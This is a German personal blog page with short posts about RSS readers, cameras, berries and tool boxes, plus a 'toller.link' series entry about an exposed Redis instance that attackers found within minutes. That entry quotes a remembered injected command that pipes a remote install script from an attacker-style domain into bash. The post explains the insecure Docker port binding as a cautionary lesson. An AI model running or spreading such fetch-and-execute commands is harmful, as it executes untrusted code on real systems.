knuspermagier.de

Der privateste Blog von Philipp.

Wahrscheinlich keinem aufgefallen, da erst nachträglich eingefügt: Für so Sachen, wie die Posts zu toller.link (oder meine unvollständige Smart Home-Serie) gibt es jetzt eine gesonderte Ansicht am Ende der Posts, über die man zu den anderen der Serie navigieren kann! Toll!

Re: RSS-Reader

Zum Thema RSS-Reader bekam ich einige Zuschriften, vielen Dank!

Unter anderem wurde empfohlen (ich nenne keine Namen, DSGVO!!), dass ich doch feedbin einfach selber hosten soll. Fair enough. Schaut man sich allerdings die Liste der Requirements an, vergeht einem das schnell. Postgres, Redis, Memcached, ElasticSearch – und die Software an sich besteht noch aus Vier weiteren Komponenten. Auf keinen Fall hoste ich das selbst.

Allerdings habe ich über die feedbin/extract-Geschichte den Mercury-Parser gefunden, der anscheinend ganz gut darin ist, die Content-Texte einer Seite zu extrahieren. Das werde ich mir mal für toller.link klauen.


(Ganz witzig ist, dass dieser Parser im Kern auch irgendwie aus einem Ordner mit „custom rules“ besteht, so wie wir es damals bei Quote.FM auch hatten. Wo bleiben die ganzen Machine Learning Content Parser?)


Ich denke, ich werde mal Tiny Tiny RSS oder doch Miniflux ausprobieren. So richtig Lust, die Fever-API zu bauen, damit ich es mit Reeder benutzen kann, hab ich nämlich nicht.

244def53-e5a0-4701-8220-1db4fcc876b0.jpeg

Ach ja, Stachelbeeren hatten wir auch.

RSS-Reader

Ich bin ja gerade auf dem Selfhosting-Trip und daher dachte ich mir, ich schau mal, was man sich so auf dem Server installieren könnte um die 3€ im Monat für Feedbin zu sparen.

Natürlich gibt es diese Sachen wie Sand am Meer. Zum Beispiel Miniflux, eine kleine Go-App. Schön minimalistisch als einzelne Binary. Braucht aber Postgres, das ist mir zu fett. Gibts es wohl auch welche, die alles einfach in ein paar Flat Files speichern?

Andererseits, die paar API-Endpunkte schreiben und kurz eine RSS-Library einbinden, mhhhh...

Canon EOS R6

War ja klar, ein Jahr nachdem ich mir die EOS RP geholt habe, gibt es den nächsten, richtig guten Aufschlag von Canon. Mit der R5 und R6 gibt es jetzt die Mirrorless-Flagschiffe. Endlich Videos in 8K, das habe ich mir schon immer gewünscht!

Die R6 (ohne 8K-Video) wäre wohl genau mein Fall gewesen. Klar, nochmal ein Stück teurer als die RP, aber niiiiice. Naja. Noch zwei Jahre, mal sehen, was Canon 2022 im Angebot hat.

(Gerade gesehen, dass die RP mit 24-105/4L gerade nur 2.000€ kostet. Find ich einen echt guten Deal, die RP ist klases und das Objektiv kostet sonst alleine einen Tausi.)

Ohne RSS-Feed ist es kein Podcast

Ich war ja Fan des Die Schaulustigen-Podcasts. Passmann und Kalle beendeten ihn vor Kurzem, weil “sich das Serien schauen jetzt wie Arbeit anfühlt”. Aha. Das Gefühl ging anscheinend schnell vorbei, denn jetzt starten sie einen Podcast zum gleichen Thema bei Audible… ich bin echt kein Freund von solchen Exklusivdeals.

beerensalat.jpg

Die erste Ladung Beeren aus dem Garten. Erstmal Marmelade gekocht!

L-BOXX

Jahrelang fristeten meine Akkuschrauber ihr Dasein an der Wand in der Abstellkammer. Es ging ihnen immer gut dabei, aber die Zeiten und Umstände ändern sich. Wenn man die Schrauber nun nicht mehr nur zu Hause braucht, sondern zum Beispiel auch im Garten mal etwas andübeln möchte, kommt man schnell in die Bredouille. Wie transportiert man seine liebgewonnenen Goldstücke?

Man könnte entweder die Kiste nehmen, in dem der eine Akkuschrauber geliefert wurde, ein Makita MAKPAC. Leider basiert der auf dem TANOS systainer®-System und ich habe es noch nie geschafft so eine Box zu öffnen, ohne mir weh zu tun. Traurig aber wahr.

Zum Glück gibt es auch noch weitere Anbieter von stapelbaren Boxen, zum Beispiel das L-BOXX-System von Sortimo. Es ist toll, man tut sich nicht weh beim Öffnen!

Weiterlesen →

Serie: toller.link
git tag v1.0

So, kommen wir zum Ende dieser kleinen Saga. Ich habe erstmal alles erledigt, was ich haben wollte.

Natürlich gibt es noch tausende Dinge, die man einbauen oder optimieren könnte. Der Code ist furchtbar und zumindest der Go-Teil ist zum großen Teil zusammenkopiert. Ich muss das alles nochmal durchlesen, verstehen und optimieren — aber das ist natürlich nicht so spannend.

Gestern baute ich noch fix eine ganz dumme Authentifizierung ein und baute einen Hintergrundprozess, der Titel und Content herunterläd. Das war einfacher als gedacht mit diesem goCron-Paket.

Ich werde das jetzt mal ein paar Tage benutzen, und schauen, ob ich es wirklich brauche. Erstmal muss ich nun auch meinen Slack durchsuchen, nach dem einen Link, den ich eigentlich mal speichern wollte! Ich hoffe ich finde ihn noch.

Das Thema Deployment-Prozess habe ich auch erstmal geschoben, falls ich es einfach gar nicht benutze, dann muss ich es eh nie wieder deployen.


Um das Repository zumindest halbwegs sauber zu haben, habe ich gerade mal noch eine README gepusht. Vielleicht hilft sie ja sogar mir, irgendwann, wenn ich Lust habe daran weiterzuentwickeln!

(Achja, der erste Feature Request wird wohl eine Funktion um meine ganzen Test-Links zu löschen 🤓)

Serie: toller.link
Quick Start considered harmful

Tatsächlich hatte ich gestern ja schon einmal alles fertig deployt und am Laufen, doch nach wenigen Minuten passierte etwas komisches. Alle meine Links waren weg! Wie konnte das passieren!

Also, sie waren nicht wirklich weg, aber da der GET-Request ja direkt Redis fragt, und der Index gelöscht war, wirkte es so, als wäre alles weg. Doch wer hat den Index gelöscht? Ein kurzer Blick auf die Ausgabe von redis-cli keys * brachte Klarheit.

Ich hab leider keinen Screenshot gemacht, aber es war halt sowas in der Art drin wie:

curl -blAh https://toller-exploit.com/install.sh | bash

Naaaja. Wie auch immer. Ich weiß auch relativ genau, wie das passieren konnte, denn ich habe, so wie es im Quick Start Guide for RediSearch stand, Redis per Docker-Befehl gestartet:

docker run -p 6379:6379 redislabs/redisearch:latest

Profis wissen natürlich direkt, was das Problem ist — ich hatte keine weiter konfigurierte Firewall auf dem Server und -p 6379:6379 bindet den Port direkt an 0.0.0.0 und macht ihn damit aus dem Internet verfügbar.

Witzigerweise war mir das sogar bewusst, als ich das Snippet kopierte. Letztens deployte ich nämlich schonmal etwas mit Docker und im Arbeitskontext kopiere ich natürlich nicht einfach irgendeinen Kram, sondern recherchiere erstmal, was die Befehle überhaupt machen.

Erst vor ein paar Tagen, auf der Suche nach einem Bookmarking-Tool, 🙃, fand ich den Blog von Kevin, der in einem Post auch auf genau das Thema eingeht. (Kevin baut übrigens LinkAce, was ich sicher mal ausprobiert hätte, wäre ich nicht zu faul gewesen, es auszuprobieren)


So. Warum habe ich in diesem Fall jetzt eigentlich den Befehl einfach kopiert und nicht, korrekterweise, auf -p 127.0.01:6379:6379 angepasst? Ich hatte vergessen, ob die 127.0.0.1 ans Ende oder an den Anfang kommt und nahm mir fest vor, es später nochmal zu korrigieren. Wer hätte gedacht, dass die fleißigen Portscanner-Hacker nur Minuten brauchen um eine offene Redis-Instanz zu finden?


Das war also der Grund, warum toller.link gestern doch noch nicht erreichbar war. Auch wenn das Redis im Container lief und der “Exploit” sicher auch gar nicht ausgeführt wurde, habe ich die VM nämlich vorsorglich erstmal rebuilded und hatte dann keine Lust mehr, es neu einzurichten. Mittlerweile läuft allerdings alles, juchu!


Die Moral von der Geschichte? Kopiert nicht einfach Kram aus Quick Start Guides, ohne jeden einzelnen Parameter zu hinterfragen. Schreibt euch irgendwo auf, wenn ihr ein Problem eigentlich schonmal gelöst habt!

Wenn ihr solche Guides schreibt: Wie wäre es, den Leser darauf hinzuweisen, dass das nicht gerade der sicherste Weg ist, etwas zu tun? Also klar, Quick Start heißt nie production ready. Aber auch in einer Testumgebung kann es extrem nerven, wenn dir irgendwer die Redis-Datenbank flusht.

Zusätzlich könnte man sich fragen, warum das binden an 0.0.0.0 der Standard ist, aber da wird sich sicher jemand Gedanken gemacht haben!